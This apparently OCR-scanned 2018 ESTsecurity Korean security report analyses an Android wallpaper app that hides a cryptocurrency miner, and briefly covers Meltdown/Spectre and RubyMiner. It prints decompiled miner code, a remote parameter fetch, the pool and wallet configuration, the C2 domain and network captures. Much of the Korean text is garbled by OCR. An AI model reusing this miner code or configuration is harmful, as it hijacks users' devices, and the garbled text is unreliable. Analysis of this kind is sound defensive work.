<action android:name="android.intent.action.BOOT_COMPLETED"™ /3>
<action android:name="com.oxothuk.minnersdemo. ALARM_ACTION™ f>»
<action android:name="android.intent.action.ACTION_POWER_CONNECTED™ />
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED™ />

(3 2] MH[AR} 2|A[H
ESTsecurity
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KGService, LGWorkingService 2 7H2| MH|A-S Sot0 Al=0f| LRS! 7ISS AHSHH 717|2] 21 HO| 7T LEHOIA
=S TS} 71712] 2HHO| 4X|H MH|A= S=2EC. 0], ResponceReceiver 2IAIME SoliM 71712] HEISE
HAISI0 21 HO| THXH =S ThA| ARSI,

hittps://github.com/pooler/cpumine public void init(Context arg7, String arg8) {
int v5 = 7;

this._ctx = arg7;
if(this.detectCPUHasNeon() == @) {

O Features  Business  Explore  Marketplace Pricing

try {
System.loadLibrary("minersdk-x86");
}
. catch(Throwable v@) {
K pooler / cpuminer System.loadLibrary(“minersdk”);
¥
——— }
¢ Code lssues 10 Pull requests 3 Projects 0 Insights else { i
m.loadLibrary("minersdk-neon");
j
[03 3] QEAAZ ZIHE|0{QU= O10|L
BHO0]| M2t Cfet SR 1S AzE o= Us T LEAAZ ZIHE|KUL 01F so A= MEISH

=0l ZEZett.

TTIT CaU. S LICCP L TEZO ),
if(!KGWorkingservice.this.isScreen0ff()) {
K@WorkingService.this.stopMinning();

private boolean ﬁsScreeanf(] {

boolean vl = !this.getSystemService("power”).isScreenOn() * true : false;
return vl;

L0 VIO = ROWOTKLIESErvICE. LS K. EELSLd US| )

VB = KGWorkingService.this.getApplication().getApplicationContext().registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
int v25 = v8.getIntExtra("status”, -1);

float v7 = (((float)vB.getIntExtra("level™, -1})) 7 (((float)vB.getIntExtra("scale™, -1}}) * 186f;
int v1@ = v8.getIntExtra( " plugged”, -1);

e poeTTTe— o
this. wahelﬂck = thls ﬂppilcﬂtlcn ctx. getSystemSErulce( power” ) .newkakelock(1, "com.kangaderoo.neoneonminer.Wakelock™);
this.wakelock.acquire();
Object v@ = this.opplicotion._ctx.getSystemService("connectivity™);
NetworkInfo vl = ((Connecti lanager)ve).getNetworkInfo(1);
NetworkInfe v3 = ((Connectdiv 1t Manager)v@).getActiveNetworkInfo();
try {

if(lvl.isConnected()) {

goto label_29;

H

try {

this.wifilock = this.opplicotion._ctx.getApplicationContext().getSystemService("wifi").createWifilock(1l, "com.kangaderoo.neoneonminer.Wifilock™);
this.wifilock.acquire();

¥
catch{Exception v5_1) {
¥

T

catch(Throwable w5) {
goto label_49;

¥

try {

label_29:
if(v3.isConnected()) {

this._run();

23 4] 71712 Rtz =2
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switch(this.mIntense) {
case 1: {
KGWorkingService.MAX_DISCHARGE_RATE = @.1F;
KGWorkingService .MAX_TEMPERATURE_CHANGE = 6f;
this.MAX_CPU_CAP = 1;
KGWorkingService.MINIMUM BATERY_TO _START = 98;
KGWorkingService .MINIMUM_BATERY_TO_MINNING = 90;

break;

¥

case 2: o
KGWorkingService.MAX_DISCHARGE_RATE = @.5F;
KakWorkingservice.MAX_TEMPERATURE_CHANGE = 10f;
this.MAX_CPU_CAP = 2;
Ka@WorkingService .MINIMUM_BATERY_TO_START = 95;
KakWorkingService MINIMUM_BATERY_TO _MINNING = 85;
break;

¥

case 3: {

KGWorkingService .MAX_DISCHARGE_RATE = 1F;
KGWorkingService .MAX_TEMPERATURE_CHANGE = 20f;
this.MAX_CPU_CAP = 3;

KGEWorkingService . MINIMUM BATERY_TO_START = 98;
KGWorkingService  MINIMUM BATERY_TO_MINNING = 7@;
Log.i{"Minners Lib", "Set intense: " + this.mIntense);
break;

[0 5] M= TH=~0f| ME HEfR] =24

CPUE Z[CHst % 5101 MBS S217| SIhM MRS OIS3ICE ZIL 3IWIK| SAI 012 THS AGH=E| A3t
T4l T2PA T3 HEFRIS] X7AS ZRlokD Tt

if((KGWorkingService.this.mDischargePeriinute >= KGHorkingService.MAX DISCHARGE_RATE || KGWorkingService.this.mTemperatureChange >= KGWorkingService. EMISIZIPITMAIIHY) && KGhorkingService. this.mCurrentCPULoad > @
Log.i("Minners Lib", "Decrease CPU usage, discharge = ' + KGWorkingService.this.mDischargePerMinute + ", temperature change = ' + KGHorkingService.this.mTemperatureChange);

--KGHorkingService. this.mCurrentCPULoad;
KGHorkingService. this.kg.setCpuload(KGWorkingService. this.mCurrentCPULoad) ;

1

if (KGHorkingService.this.mTemperotureChonge < KGHorkingService.MAX_TEMPERATURE_CHANGE && KGWorkingService.this.mDischargePeriinute < KGWorkingService .MAX_DISCHARGE_RATE && KGorkingService.this.mCurrentCPULoad < KGhor

Log.i("Minners Lib", "Increase CPU usage, discharge = ' + KGWorkingService.this.mDischargePerMinute + ", temperature change = ' + KGHorkingService.this.mTemperatureChange);
++KGHorkingService. this.mCurrentCPULoad;
KGHorkingService . this.kg.setCpuload(KGWorkingService. this.mCurrentCPULoad) ;

[0 6] BHEIZ] AH|Z0]| [ME M= -
HHE{Z] AH|F1 2EE HARICE ZHOI0A (PUE ZH0l if=Es S2lil 2210,

private static void lockExclusive(Context arg7?) {

try {
File v2 = Environment.getExternalStoragePublicDirectory(Environment .DIRECTORY _NOTIFICATIONS);

Packagelnfo v3 = arg?.getPackageManager().getPackagelnfol(arg?.getPackageName(), 8);

Bufferediiriter v@ = new BufferedWriter(new FileWriter{w2.getAbsolutePath() + File.separator + “kgservice.dat”, false)};
v@.write(v3.packageNome) ;

v@.close();

‘cause=,detailMessage="/storage/emulated/0/Notifications/kgservice dat: cpen failed: EACCES (Permission denied)” stackState=null stackTrace={......rnns LsupprassedEx.
& 710018 5= =2l
71719| 25 &EA0 shE He| TH7 |XIF0| Ml DS AESI MEKZ L 2h= A= 0] SA0 22 717104
AHE|X| Q== SHCY, “/sdcard/Notifications/kgservice.dat” AZ0| “com.yrchkor.newwallpapers” Ii7 | X|HO|
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XEEC 1L, Manifest 0 21 X401 2ret H10] GAM ERll= A-E=X] S4=L

vate float readUsage() {
float v12_2;

long w12;
long v@;
long v6;
[1 vll;
v1@;
try {
v1l® = new ( ) R
vll = v1@.readline().split( 'R
v6 = .parseLong{v11[5]);
ve = .parselong{vl1[2]) + .parseLlong(vl1[3]) + .parseLong(v11[4]) + .parselong{vl1[6]) + .parselong(v11[7]) + .parseLong(v11[8]);
vl2 = 360;
try {
.sleep(vl2);
b
catch( vl2_1) {
b
catch( wvd) {
goto label _786;
b
v12 = 8;
try {
v18.seekivlid);

w3 = vlB.readline();
v1l@.close();
vll = v5.split( 'R
long w8 = .parseLong(v1l[5]);
long w2 = .parselong(wll[2]) + .parselong(v11[3]) + .parseLong{vl1i[4]) + .parselong(vll[6]) + .parseLong(v11[7]) + .parselongi{v11l[8]);
v12_2 = (((float)(vz - v@))) / (((float)(w2 + v8B - (w8 + v6))));

b
catch( vd) {
v;.printstackTrace();

vl2_2 = of;
}

return v12_2;

“/proc/stat” TIUS SoHA Cpu AFBES ERISHTY,

KGWorkingService. .mDownlogdURL = ;
.63.24 |88.251.118.198 HTTP 283 GET pruzzle.aspx?e=mpar&v=1@4&g=com.vrchkor.newwallpaperﬂ
118.198 192.168.63.24 HTTP 628 HTTP/1.1 382 Found (text/html)
[l B ¥, | O ACA 419 100 T O CRCJF o OfA TACK] Can 319 Al _CCC li3e ECCCIC | oo TCan1_AC3

1 wire (4968 bits), 620 bytes captured (4968 bits)

inkT 88:f7:30 (e8:94:f6:88:1f7:38), Dst: SamsungE_a6:18:d3 (18:83:31:a6:18:d3)
ion 4, Src: 88.251.118.198, Dst: 192.168.63.24

~otocol, Src Port: 88, Dst Port: 68637, Seq: 1, Ack: 218, Len: 554

tocol

cext/html

bject moved</title></head><body>\r\n

<a href= L loxothuk, moog, com: 2 PA&amp 3 3 4 shere</ar.</h2>\r\n

ESTsecurity



03 oHYTE

HI

M HT

String readParamString(SharedPreferences argd) {

ng v2j

{

PackageInfo w4 = this.getPackageManager().getPackageInfo(this.getPackageName(), @);

String vl = KGWorkingService.downloadString(KGWorkingService.mDownlogdURL + “"e=mpar&v=" + v4, versionCode + "Bg=" + vd4.packageName);
new String(Basefd.decode(vl, @)).split("~");

Log.i("Minners Lib", “"remmote param : " + vl1);

v2 = vl

08 1169.943.. 192.168.63.24 |51.15.34.169 HTTP .. GET /?v=184&g=com.yrchkor.newwallpapers HTTP/1.1|

09 1170.348.. 51.15.34.169 192.168.63.24 TCP . 3333 = 34975 [ACK] Seg=1 Ack=2082 Win=30080 Len=0 TSval=1362'
10 1170.351.. 51.15.34.169 192.168.63.24 HTTP .. HTTP/1.1 280 OK (text/html)

ame 910: 409 bytes on wire (3272 bits), 489 bytes captured (3272 bits)

hernet II, Src: Tp-LinkT_88:f7:30 (e8:94:16:88:f7:30), Dst: SamsungE_ab:10:d3 (18:83:31:a6:10:d3)
ternet Protocol Version 4, Src: 51.15.34.169, Dst: 192.168.63.24

ansmission Control Protocol, Src Port: 3333, Dst Port: 34975, Seq: 1, Ack: 202, Len: 343

ne-based text data: text/html
|omVvc2NyeXBOLmlpbmUuenBvb2wuY2F+NDIzM342zSHpGZ1h rWXVOZUVxQmNnN@1tRUIRNGsxallTaXVhMUpt fmQIMCAwtDAX f §F +MHSKMWESMDEAZT 1h0Dk=]

return this.getValidParam(v2, arg9.getString("mine_params"”, "bmVvc2NyeXBOLmlpbmUuenBvb2wuY2F+

NDI zM342SHpGZ 1hriXVOZUVxQmNnNO1tRUIRNOs xallTaXVhMUptFmQOMCAwMDAXFF+MHSKMWESMDg4Z T1hODk="
mEELEEESY
Opo|d 2 FAE 21| 26 M2 “www. scan-words.com’ @2 HEE 51 “oxothuk mooo.com”2 2

B|CHO[HIE £/ T Base64 2 QIFE 00]d 2 221 MRS Woter Ofn, 00l 2 B HEHES WK| 2513
Lisio] Sl aTEl ghe OIR3Ht

C)

neoscrypt.mine.zpool.ca A 149.56.122.72

neoscrypt.mine. zpool ca~4233~3HzF kY uNeEqBca 7 MmEBQ KA SivalJm~d=0.0001~1~0~d1a9

088e9a Eﬂ

String[] w1l = new String(Basecd.decode(args, @)).split("~"
this.MiningServer = v1[8];

this.MiningserverPort = v1[1];

this.MininglserNome = v1[2];

this.MiningPosshord = v1[3];

this.InternetProtocol = Integer.parselnt(vl[4]);
this.MiningProtocol = Integer.parseInt(vl[5]);
this.MiningThreads this.getNrProcessors();
this.ActivetionKey = v1[6];

a2 10 C)FY = A

0l|d E2 AKE3517| 2IoiM Basebs = QFY Bl MEHE CIFISITE " EXIE 7IECE LIFMH AH, ZLE
AEXE, AEAZ, QIHU D2EF, Of0|d D=2EF, 2del?| A= 7S] U
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aax( DUDRD *)(ul + 384);

sprintf{u10, “{WidW#': %d, W'method¥": W'%s.subscribeW", W paramst: [*"android-cpuminerfz.5.1”1‘, BU%sHT 1) 5

goto LABEL_18;
H
iL_35:
+ex{ DUDRD =)(ul + 304);

sprintfF({ui1, "{W'id¥: %d, ¥'method¥": W'%s.subscribew”, W'params¥': []1}");

goto LABEL_18;

snprintf(
ks,
0x400u,

“{#methodd = W'%s_submit¥, WparamsW': [W'%sH, WSk, WUGsH, WUYSH, WU%sW], wUidwt:5)v,

&name_gninim,

rpc_user,

RS + 228,

us3,

v195,

&u283);
free(usi);

e

< Wallpapers

#1 =— 0N-2316:54:20

sl 1 “methed”: “mining. subscribe”, "params®] [“android-cpumingr/

#2 —> 01-2316:54:21

{"1d*:1, “result®: [[[*mining. set_difficulty®, "256"],
["mining.notify®, "5d632edi7e54119d3fedtedcOdf15700"] ] . "B100ck45=,
4], "error:null}

#3 <« 01-2316:54:21

e
" IHzFfXkYuNeEqBegTUREBQ7K j¥5iualln®, "d=0.0001"]}

{"id":null, "method": "mining.notify", "parons™:
["3926", 07245588 dca95d567684821c0ff 157dd4db2aee784£a76003d9c 500000000
g 1
TH111111203038101046713665a08", “77777726737061616¢2e6361000000000274
78cd 197629140 2ad a675addaf0eb20e7641f58d1b30edcdB8ac7478cd1
1976291458 359b37aeac? 186e50d256b93a73942988c00000000",
["5045b627976b46090866b138500c5ed75219cdd96dc89874efedelcd2b19cIc0"], "200
0", "1c0166b2", "5a66F36f", true] }

#14 —> 01-23 17:34:01

{"1d":null, "method” : *mining.notify”, “parans®:

1"3928", "71376aa16ccf611d168a6c96c562319f93c0a5861a279723006f f37600000000

[, *01 1

POOOFFFFFFFf1a03048F010479F3665a08", “7777772¢7a706F6F6¢ 20636 1000000000200

55¢d 1400D00000 197645 14941007 cSabde5292588bc03 11254 100174838 184882c0065¢d1
1976a9141 359b373eac7 186e500256093a73942988ac 00000000,

11, ~20000000", *1c0152e7", “52661379", true) }

15 —> 01-23 17:34:49

{"id":null, "method" : *mining. notify”, “parans”:
(3935, "9b3761¢d0ar0r831 1abab76ce2d3d4 147 152047
", 01
I frfff1e030581010429F3665208", “7777772e7a7061616¢ 22636 1000000000200
5cd1d0000000019762914851¢33003290167522923dbBa0ce2f fad33ee56288ac0065¢d)
19763914158 359b37aeac? 186e50d256093a73942988ac 00000000,
ﬁ] , " 20000000", “1c0147fc", "5a6613a9", true] }

#16 <— 01-2317:34:56

“method™: “mining.submit™, “params®:
" 3HZFfXkYuNeEqQBC, 7K11YSivatja*, |"3935", "00000000", "5a66f3a%”,
-~ e ——

(2 11]00ld & B

HESF OO[LE 0|22 IaHA] “oxothuk.mooo.com”

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved.
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> C 0O ldoxothuk.mooo.com,rsite,’minersI

Miners Version (neoscrypt)

Mining on 9 wallets at 343.4 kh/s, 235 miners

Pool Status

Ol= XIEHZ =0 TIME| N UASS & 4 UL

super();

this.worker = null;

this.statelock = new ReentrantLock():
this.ALgo_NeoScrypt = @;
this.Algo_Scrypt = 1;
this.Algo_SHA256 = 2;
this.Algo LYRAZRE = 3;
this.Algo [YRAZREvZ = 4;

this.Algo YESCRYPT = 5;

this.Algo M7MHASH = 6}

this.algo_names = new String[l{"neoscrypt”, "scrypt”, "sha256d”, "Lyra2RE", "Lyra2REv2", "yescrypt”, "mimhash"};
this.Prot_Http = @;

this.Prot_Stratum = 1;

this.prot_names = new String[]{"http”, "stratum+tcp"};

this.SuggestedDiff = 4;

private void _run() {
String v@ = "minerd -a " + MinerSDKRunnable.Globals.algo_names[MinersDKRunnable.Globals.MiningProtacol] + " -0 " + MinerSDKRunnable.Globals.prot_names[MinersDKRunnable.GLobals. InternetPratacol]
int v3 = w@ == null ? @ : v@.length() - vB.replace(” ", "").length() + 1;
this.opplicotion.starthiner(v3, v@);

ESTsecurity (opyright © 2018 ESTsecurity Corp. All rights reserved. 41
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+"1/" + MinerSOKRunnable.Globals. MiningServer + " + MinerSDKRunnable.Globals MiningServerPort + * -0 + MinerSDKRunnzble. Globols. MiningUserhome + "+ + MinerSkRunnable. Globals MiningPassiord

" --getivationkey=" + MnerSOkRunnable. Globals. Activationkey + * --suggestdiff="+ (MinerSOKRunnable.Globals. Suggestealiff + ') + * -t " + String.valueO (Miner<kRunnable. Globals. HiningThreads)

private void _run() {
String v@ = "minerd -a " + MinerSDKRunnable.Globals.olgo_names[MinerSDKRunnable.Globals.MiningProtocol] + " -o " + MinerSDKRunnable.Globals.prot_naomes[MinerSDKRunnable.GlLobals.InternetProtocol ]
int v3 = w8 == null ?> @ : v@.length() - v@.replace(” ", "").length() + 1;
this.opplicotion.startMiner(vs, v8);

minerd —a neoscr
ypt —o stratum+t
cp:/f/neoscrypt.m
ine.zpool.ca:zh423
3 -0 3HzZFfXkYuHNe
EqBcg7HMmEBQ7EAY
SivatlJdm:d=8.8861
——activationkey
=d1a9088e9a89 —-
suggestdiff=4 -t

[23 13] 0014 &

ol

O3 62| OFF & of271X] HEE Zelolq 0101 A |2 HHOE Tt=11 0|F QIXt=olq H|OE|E
startMiner £ A5}, B2 = “minered —a neoscrypt —o stratum-tcp://neoscrypt.mine.zpool.ca:4233 -0

3HzFfXkYuNeEqgBcg7MmEBQ7K1jYSiual)m:d=0.0001 —activationkey=d 1a9088e9a89 —suggestdift=4 -t 4”
O|Ct,

=

J T ETOWE LT & § g o & FiF]
:._L:l.lcadlerary( ninersdk-neondetect™);
.
] vt 1
CODE16
EXPORT JdetectCPUNasHeon
JdetectCPURasHeon
PUSH {Rh-Ré, LR}
BL android_getCpufanily
SUBS R, RO, w0
CHP Rs, m
BEQ loc 1250
] e 1
loc_125R
LOR RS, =(aDetectcpu - Bx1268)
LbR k2, =(aProcessorlsAnf - Bxi266)
Hous RO,
ADD RS, PC H 'IJ—I:‘.(I.|'U”
oo RZ, PC ; "Processor is an ARM processor
s v
BL j_i___android_log_urite
L android getnpu[eatures
LDR RZ, =(aProcessorfeatu - @x127A)
HOUS Ré, RO
nows k1, RS
nous RO, m4
ADD R2, PC ; "Processer Features: Tu™
HOUS R, R
BL i j android_log_print
Hous RO, @4
nous R1, RS
81 R6, Rb
BEQ loc_12AE
L]
(M
LbR B2, =(aProcessorlsA_0 - @x128C)
bk R2, PC ) escor 15 an ARN u7"
i i i android_lag
Hous ", it
Hous R1, RS
LSLS R3, RG6, mEx1D
BPL loc 122
i ] L]
=] s B
-rrlt:?sSnrNaSlh - l'll129ll)
s eon support | oe_120 .
droid 1l7l1 Il'lt? LOR RZ, =(aPrs r'i'iﬂl" II: ﬂxﬂ‘ﬁll) L DR R2,
DD n2. PC sor has HD HEOM support” ] [ADD "2,
258 BL 1 j android 1ug_ur1te L i1
HOUS Ho HOUS R,
Ll l.m:r!t 1758 B 1ocy

[22 14] ARM Z NEON
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“Libminersdk—neondetect.so” IS S5k ARM Z2M|AM, NEON 7ts GIE.E SRISH L NEON 2 00 |d Ms2
SHYA|IZAZLCY.

g SM-N900S Android 5.0 (API 21) a |onm,ylchknu|emalpapers (12517)| a

M Memory +* *| Bl GPU +*| M Network +*
100.00 %
9500 % | JUATECES)
W <einel oo )
9000 %
I 3500 % l

20.00 %

76.00 %

70.00 %

85.00 %

80.00 %

£6.00 %

50.00 %

4500 %

40.00 %

3500 %

30.00 %

25.00 %

20,00 %

15.00 %

10.00 %

5.00 %

[T 15]CPU AFRE

7HSMHE A= I 71712 CPUAIEE0] 10%0IM 85%2 S71ICt.

Application Tag Text

com, yrchkor.newwallpapers Minners Lib onStartCommand: Start KGWorkingService

com.yrchkor.newwallpapers Minners Lib remmote param : baVvc2NyeXBOLmlpbmUuenBvb2wuY2F+NDIzM342SHPGZ1hrWXVOZU -
VeQmitaNO L tRUTRNOaxal 1 TaXVhMUpt £oQoMCIWMDAX L ) FoMES KMRE SMDG4 ZT LhODk=

com. yrchkor.newwallpapers Minners Lib CPU Load: 3, Status: 1, Hash Rate: 4.40, Accepted Blocks: 0, Difficul -
ty: 128.0, temperature/ tchange: 32.7/0.20, Discharge per minute: Hal

com.yrchkor.newwallpapers Minners Lib CPU Load: 3, Status: 1, Hash Rate: 4.76, Accepted Blocks: 0, Difficul »
ty: 128.0, temperature/ tchange: 33.2/0.70, Discharge per minute: 0.0

com, yrchkor.newwallpapers Minners Lib Set cpu load: 2

com. yrchkor.newwallpapers Minners Lib KGWorkingService: Stop minning

cem, yrchkor.newwallpapers Minners Lib cnDestroy: Destroy KGWorkingService

com.yrchkor.newwallpapers Minners Lib onStartCommand: Start KGWorkingService

com. yrchkor.newwallpapers Minners Lib remmote param @ bmVwelNyeXBOLmlpbmUuenBvb2wuY2 F+NDIzM34zSHPGZ1hrWXVOZU -
VxOmiinNO ItRUJRNOsxallTaXVhMUpt EmQIMC4WMDAX £ ) F+MESKMWE SMDg4 2T 1hODk=

com. yrchkor.newwallpapers Minners Lib CPU Load: 3, Status: 1, Hash Rate: 3.51, Accepted Blocks: 0, Difficul #
ty: 128.0, temperature/ tchange: 34.0/0.10, Discharge per minute: Nal |

(ER W ESE]

EIEEE 2S00 =PIt 2 E MH|ATE HHEE=X], R K| cpu E A=K, Az HOI= SS2 71717t
=0l OEAH AREE=X] & 4 QUL
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7tdeto] AMES 22 AZALS] S2I810| 7HRIHIE AifZohs HS0| SEolL UL EH= 7hf=l A=
Kixl= Z2RPEHEX] 22U, 7H=HE MEgR2A 71712} HiEZI2| dSXiot S22 AZAfA TiohE &i2ICt

Ls—

5], ? g2 AEZ0|=0] SA 0PIl +12 SH|0|AENS SolA] B Z(UCt,

= E20|AE0OM= XEHCE HOtg Z3I511 UX|TH 01F 23[610 ARBKIOIA| LIGHE 77[Xl= HE0
AEHe= SEE ALt 0|E1?_ L JP=RE XS] 717|E 220617 | flotik= HISA! DEI0AC] CH22 2

==0|0, A=20|E ditis EX[SIH A2 7|7(9] 22t 2{QIoHOF SITY.
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1. 8014

Intel, ARM, AMD Z2X|A{0f] Bk O|X|= Meltdown/Spectre 34
Meltdown and Spectre attacks affect almost any processor, including Intel, ARM, AMD ones

ARESOI ARH Z2AA0M 52 HE EFioh=s BELHR(Meltdown) 2t AHIE{(Spectre) S210] ZZAZIULL,

sl A TRAME TR 9F FOFHU =B5I0] ULt S OIS QIUE FOM St UE 3, 322
445t HIA HIZE Z40ICk Google Project Zero ] S0/ SHHSS AMD, ARM, Intel il TiEISH CPU S Z3t5t 2=
72 CPU O FAHOZ %3S DIXK= FOMHS BIHICH

SZXH= CPU 7} X2loks B2 HMEE EEl57| et WELK(CVE-2017-5754)1F AHE{(CVE-2017-5753/CVE-
2017-5715) 342 MIARICE = 324 25 &[4 CPU 7t AKE5t= "0S Al8l(speculative execution)' 71&S
EE310] H52 ZIXSISHT. Google SHH S=10M|AM, “H3l OIR2f ChAS ZXISIK| 5t 2, SHEIGH AEHOI|A]

T 2NN HZH0| AH=ICE 0fS0]| E21 O LIEHIH, CPU 7t OF R0 FakS BIX| 40 Zt MBS Hi7 |5t &
SHIZE A3l 220N Al Adiet o~ ULt SHIE A3 220 UCk= WS 7| T B2 AL RE06HCL 2

I

ofld E2t HE7IE2 U= 4 7IS2 (PU &fEi7t 2801 HEVt RE5= 42 S1EKIgE HEE AT

HEC}2(Meltdown) 24
“UECI2(Meltdown)2 QIE! CPU 2| HOt FFHO Z |, OI0|F 2 ZA|A7 AFEQ| HIZZ|e] MHIE & = U=
o2 )Mol MAS 5120lH, 0|2 Qs HA| ZREQ| LIEX| H2&t 4 UCt siE HI1E 0|25l 34K= AKX

A 8, iR g S5 EFlE = U0t

“HIECIRL 010|327 XX (microarchitectural) 292 A], HIz=X PO AlSH HIHS 0
HZ2E REAIZ = UL LK== HELLR HIIE 0|23l E5| QIE 2 A|A{0]

SAIE CPUZH OIS 2l V1SS OIE0H SAAPHRE| HSE Ralet 4= QU

=0Tt
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RRE7| TIK| T2 EAMM| kS DIXME ¢t ELhS FSARICE 015 Soll 2= OHE2AHI0140] AIAH

M 20| Eet == UCE 2K HHR-22| AFEVF RELER SZ0H| Fefs|Lt.

“UELIS F2XH= O A3 WS 0183} 2t 05 2t 22k solation, ELM S0 HZIE LISO| EkxM0)
==

AHIE|(Spectre) 22

ABIE{(Spectre}= ARSA} BE 0fZ2170 |42 01 SUsH AXSOIN AEl= T2 TRAA0IN M2 S
T QU= SH0ICE TEE Solf A Z2MANN FEE EFlok= Ol 0|82 =& UL} CIE S0 28
KHIAFZEES 0|2al| B2t HIZ2[0iAM CHE A[E 2791 JH7t LetE R7|E FE6k= Ax 7FS5ICt
AHE] ZZS sliZol| SloiMi= TZMA OFF [HIME HZ5HO0F 517 | TR0 SZO= QIst IfHS 2AStA|7 = Z0|

2. Ofic], AME| B WECS B4R S 2 AIHE SAEA ABK) ZETH0| S 71 HeE
QEAIZ 4 LT HAE AAH| 7H44st SIOHHIOKE REAIZ 4 ULk HATE, L-ES, SRS A,
ADIER 52 T315t 7{0] BE AIAR0| AHE| ZZ0j FFSICE

"AME THO HiZR| TE A3 SEOIM Z2HS HoE # OfLIZ XHIATZIE HIO|ETES So ZRMASS
2313t 4 UL 710M(KAISER) RIS Saff HECHS THE AL 4
N

"Windows, MacOS, Linux, Android = sHE &4=0]| Cist IHX|E 2HSICT

[EX] hitp:/ /securityaffairs.co/wordpress/67394/hacking/meltdown-spedre—attacks html
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QI WETIS IfX| X $ H2CY/SHAY CPU 2K 2

Intel's Meltdown fix freaked out some Broadwells, Haswells

ro

2 IiX| M8 = LF AMEXES] ARE H AH2| MY S27t Kotz Q12 BELRRA AHES| XIS

=
SoIH ARE X M7 SQFolE o= AN ZIIC)

1

=2

CPU E EZfigt 71710(A 2X7t et Zi0[2f] REACL

QIS ERI0] YHOIE $ U ARBRISO| THE S Folol| Bst HIS WITFT WHYCE, B2CU/siAY

Q2 O2{st ZHIZ oHZdl| Pl 4155| +-E HAS LHSHICIT $RXITL o]0 E2 712l & 7|gSae|
1Y AS2 O = glg AC= H2ICt H0|H ME 2BXE2 71719 HHE SQPHoH| Tes K| 2XIE
74 =1

UELHR/AHH IiX| 2M=z SHEE 9= 712 Q> 20| OfLC AMD = X[ QU AHE IiX| EXIE
2IHAUCE. Cito| x86 HEA MF0M= BEME IHX| A7t ALK HUCE QRS2 AHE X[ A 7*M
23| FPHDt SHESIH EO HRACE AME DRI HAMX| HX =@ FOFH(CVE-2017-5715)2 o

L =

Za5t/
Lloti= B0 IHX| HE|0|EE ZE3H0F STt AMD Off =3, 0]8H 2= 04| 203 2 0 CPU 8 HTiS %EQ
OfFE0 ]2l S,

HXIAEE= 11 2| TE 7[ESE: HX| HE = Wich= EHIE HEA ofiZoll JU=K| ZO[E 1 AU 2252 0FX
HOIE AZ0| QUL SARE= AL HF0H|A Ldich= ME X HFEH| FAEHO Lol SIXH ZALS 0|2t HRALH,

[EX] hittp:/ /wwwitheregister. co.uk/2018/01/12/intel wams_meltdown_spedire_fixes_make_broadwells_haswells unstable/
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2lSA /=S MHOIA FH|OL0|L] HY0] WA
Linux and Windows Servers Targeted with RubyMiner Malware

4|00 |H(RubyMinen2h= 0[52] M=2 HY017 HAZIRICE 7 HT2| & MHE 0[Z3H LSS AH=Zsk=
ZHHO]CE.

alo

LPYSICE HOF S AHEHEHLIMO| 23, R0|0t0]L o

Xk = 3129, 0] Y012 0183t B2 5
=2 ATEQ01Z Malol= 2hsA U FES AHIE

&2 pof et 22l= A YHEEIE S5 018l + HTe

0

THR|=[X] 52 ME7H HAEH, SHNS2 2 LT FofHS 0IZsH FH|00|H AET=S M0 ZSAZIC

22 SAMM ZAE FES2 HE 20

@ Ruby on Rails XML Processor YAML Deserialization Code Execution (CVE-2013-0156) [1]

® PHP php-cgi Query String Parameter Code Execution (CVE-2012-1823; CVE-2012-2311; CVE-
2012-2335; CVE-2012-2336; CVE-2013-4878) [1, 2, 3, 4]

® Microsoft IIS ASP Scripts Source Code Disclosure (CVE-2005-2678) [1]

OF Sofl FH|0I0| SAXIS0| =Lt ElsA AMAES SZeiti= As & 4 UL

Kk 2= 2HEE H0| O=H, MEEQIEE SAXSS| SIUR MHE Sall et Hl0[EE 7[2IC= ol 254

A|AEIO| FH|OO|H Z HA2E MRRICt. MFREQIE HOt A1yl 28| TAAEQI0) =M, 24H|00|L

SAXS0| =R IS MHE SAJUKIT, O = 2 HE2 oK 2ot S&0[24 Bit.

I oX| == H2 SARS0| o4d HHS =717| floll 01 2RI SH0| AFESXE robots.txt THUS

A= FOICt 3 28| 2 HZX(Ruby on Rails) 3201 ALZE F|FHS 0I5 FH|OO|H SAS AL
Solf FH|O0|H AITES FHok= SHAP RH| 2 g SR SZolt= As &+ UM,

o

=
22 #F 2 2 EH=E Mzols 2Ad BH0E REok= S40| 7RI
2017 0] L7AE 2|2 iH= HY0{0ll= CI20[1(Digmine), HEDHA AIEE ZZok= 24, A HI(Hexmen),

210|(Loapi), Z(Zealot), YE{OIO|Lf(WaterMinen), IIS 6.0 AHE ZZ45H= 241, =X F(CodeFork),

S 4Hi(Bondnet) S0| QJLt.
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2018 0] EIX| 2 355 A KILEK| 240+ Ul BISA MHE
UZE| MHE Z25H= 7 20| WHEIICH

OI'J

245l= MO |3 ZED0|LH(PyCryptoMinen2t 22+

FH|O0|H S42 HEES| Hot AA-OZ BX| Viset 22E SAS 018:ICt= H0| SO0[6HHL = 4= ALt
TAAERIZ THXT LR2| HAHT 7|7 |AEAI 22121 JEIZ YX[S 71 HTO| HRELL MH)E 2l0F S2fet
WA U QTP 0 HESIC, Lo Q2 UXIE 7|7 |S HBAHZM = 2SS O 20 X&E 4 ATF D
=R

HNEERIE= of 700 CHO| HFE(7+ SH|DIO|LA0| ZEEIRAL 0= 2ol siFAS2 f 540 EEiE EFfet A=
ot Tt o7 2=0] 10 HE FoFH Tl 2k HHS OISUMEH SHS HS SXO 2 4llliS J0|Ct,

OIE 20, 222 ¥2X MHE 22017 3 10 2 wil)st o7 150] 226 M H2HE Hilet ARE ALt

AN B ChS BT

[EX] https://research.checkpoint.com/rubyminer-cryptominer-affects-30-ww-networks/

http:/ /www.certego.net/en/news/ruby-ree-used-to—-push-monero—coinminer/

ESTSECU!’ffy Copyright © 2018 ESTsecurity Corp. All rights reserved.
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2.3=

S =M WP S210[HE YHI0|E ST
PEIFEETT | EXNELE WP FHNEFHREH, BHELERS
1& 16 Y, MS = Windows Phone 2 Windows 10 Mobile 0l I 014 ME2 7152 F7I5IK| ZACH HASLICH

O[0f| T2k O & Win10 ES2 2lZ2tet 22F(&0ll XfobA| =IRITt. AH, Windows10 Mobile % DE0A, CHEZES

US2 72| S=E At ZUAK|, 0|2+ 2SI MS o SAKQ! AE0| SAACL

ICBC @) FE IR
WOLRE 5

megg»p
T k¥4

www.ithome.com

TR

BRERATE : 2018501516H09:15:24
AR BERER  #TeT18148
R MtwindowsFHRTEFiwApp T
HEEH , FHEEAHAELEWindowsFEH,
RITIRSS. BIEEITI0S, AndroidZF
Ui FEkRte/TFRHIRITHIERBNVSS, it
ggﬁxmﬁmmm , BaSHEAIERS
